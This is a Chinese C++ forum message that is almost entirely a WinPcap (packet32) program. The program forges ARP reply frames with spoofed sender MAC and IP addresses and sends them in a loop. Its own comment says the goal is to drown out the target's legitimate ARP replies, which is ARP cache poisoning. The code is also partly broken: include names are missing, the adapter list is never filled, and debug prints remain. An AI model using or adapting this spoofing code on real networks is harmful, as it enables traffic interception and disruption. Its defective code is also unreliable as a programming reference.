C++爱好者 - 网友留言

程序如下：
#include
#include"packet32.h"
#include
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#pragma pack(push,1)                //在定义结构的时候一顶要用到pack(push,1)和下面的pack(pop)
                                    //否则你构造的结构的长度会有问题

typedef struct ehhdr               //以太网头部，长度14
{
  unsigned char eh_dst[6];       //目的的MAC地址
  unsigned char eh_src[6];       //源的MAC地址
  unsigned short eh_type;        //帧类型
}EHHDR,*PEHDHR;

typedef struct arphdr           //以太网arp字段长度28
{
  unsigned short arp_hrd;     //硬件类型
  unsigned short arp_pro;     //协议类型
  unsigned char  arp_hln;     //硬件地址长度（6）
  unsigned char  arp_pln;     //协议地址长度（4）
        unsigned short arp_op;      //回应还是请求

  unsigned char arp_sha[6];   //发送者MAC地址
  unsigned long arp_spa;      //发送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ARPHDR,*PARPHDR;

typedef struct ARPPACKET                  //整个ARP包的结构
{
  EHHDR ehhdr;
    ARPHDR arphdr;
}ARPPACKET,*PARPPACKET;

#pragma pack(pop)
int main()
{
 ULONG     AdapterLength;
 char        AdapterList[2][1024];
WCHAR     AdapterName[8192];
char szPktBuf[256000];
ARPPACKET ARPPacket;
ARPPacket.ehhdr.eh_type=htons(0x0806);
ARPPacket.arphdr.arp_hrd=htons(0x0001);
ARPPacket.arphdr.arp_pro=htons(0x800);
ARPPacket.ehhdr.eh_dst[0]=0xaa;
ARPPacket.ehhdr.eh_dst[1]=0xaa;
ARPPacket.ehhdr.eh_dst[2]=0xaa;
ARPPacket.ehhdr.eh_dst[3]=0xaa;
ARPPacket.ehhdr.eh_dst[4]=0xaa;
ARPPacket.ehhdr.eh_dst[5]=0xaa;
ARPPacket.ehhdr.eh_src[0]=0xCC;
ARPPacket.ehhdr.eh_src[1]=0xCC;
ARPPacket.ehhdr.eh_src[2]=0xCC;
ARPPacket.ehhdr.eh_src[3]=0xCC;
ARPPacket.ehhdr.eh_src[4]=0xCC;
ARPPacket.ehhdr.eh_src[5]=0xCC;
ARPPacket.arphdr.arp_hln=6;
ARPPacket.arphdr.arp_pln=4;
ARPPacket.arphdr.arp_op=htons(0x0002);
ARPPacket.arphdr.arp_sha[0]=0xCC;
ARPPacket.arphdr.arp_sha[1]=0xCC;
ARPPacket.arphdr.arp_sha[2]=0xCC;
ARPPacket.arphdr.arp_sha[3]=0xCC;
ARPPacket.arphdr.arp_sha[4]=0xCC;
ARPPacket.arphdr.arp_sha[5]=0xCC;
ARPPacket.arphdr.arp_tha[0]=0xAA;
ARPPacket.arphdr.arp_tha[1]=0xAA;
ARPPacket.arphdr.arp_tha[2]=0xAA;
ARPPacket.arphdr.arp_tha[3]=0xAA;
ARPPacket.arphdr.arp_tha[4]=0xAA;
ARPPacket.arphdr.arp_tha[5]=0xAA;
ARPPacket.arphdr.arp_spa=inet_addr("192.168.0.2");
ARPPacket.arphdr.arp_tpa=inet_addr("192.168.0.1");
memcpy(szPktBuf,(char*)&ARPPacket,sizeof(ARPPacket));
//填充包
 
PacketGetAdapterNames((char*)AdapterName,&AdapterLength);
LPADAPTER lpAdapter=0;
lpAdapter=PacketOpenAdapter(AdapterList[0]);
LPPACKET   lpPacket;
lpPacket=PacketAllocatePacket();
PacketInitPacket(lpPacket,szPktBuf,64);
printf("hello");
PacketSetNumWrites(lpAdapter,2);
printf("hello");
while(getchar()!='q')                                     //当输入为q时结束
  {
        if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不断发送伪造信息，将目标的正确
                                                              //ARP REQUEST淹没
    {
        printf("error in sending packet");
        return -1;
    }
  }

printf("Send ok!");
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 1;
//发送包
}

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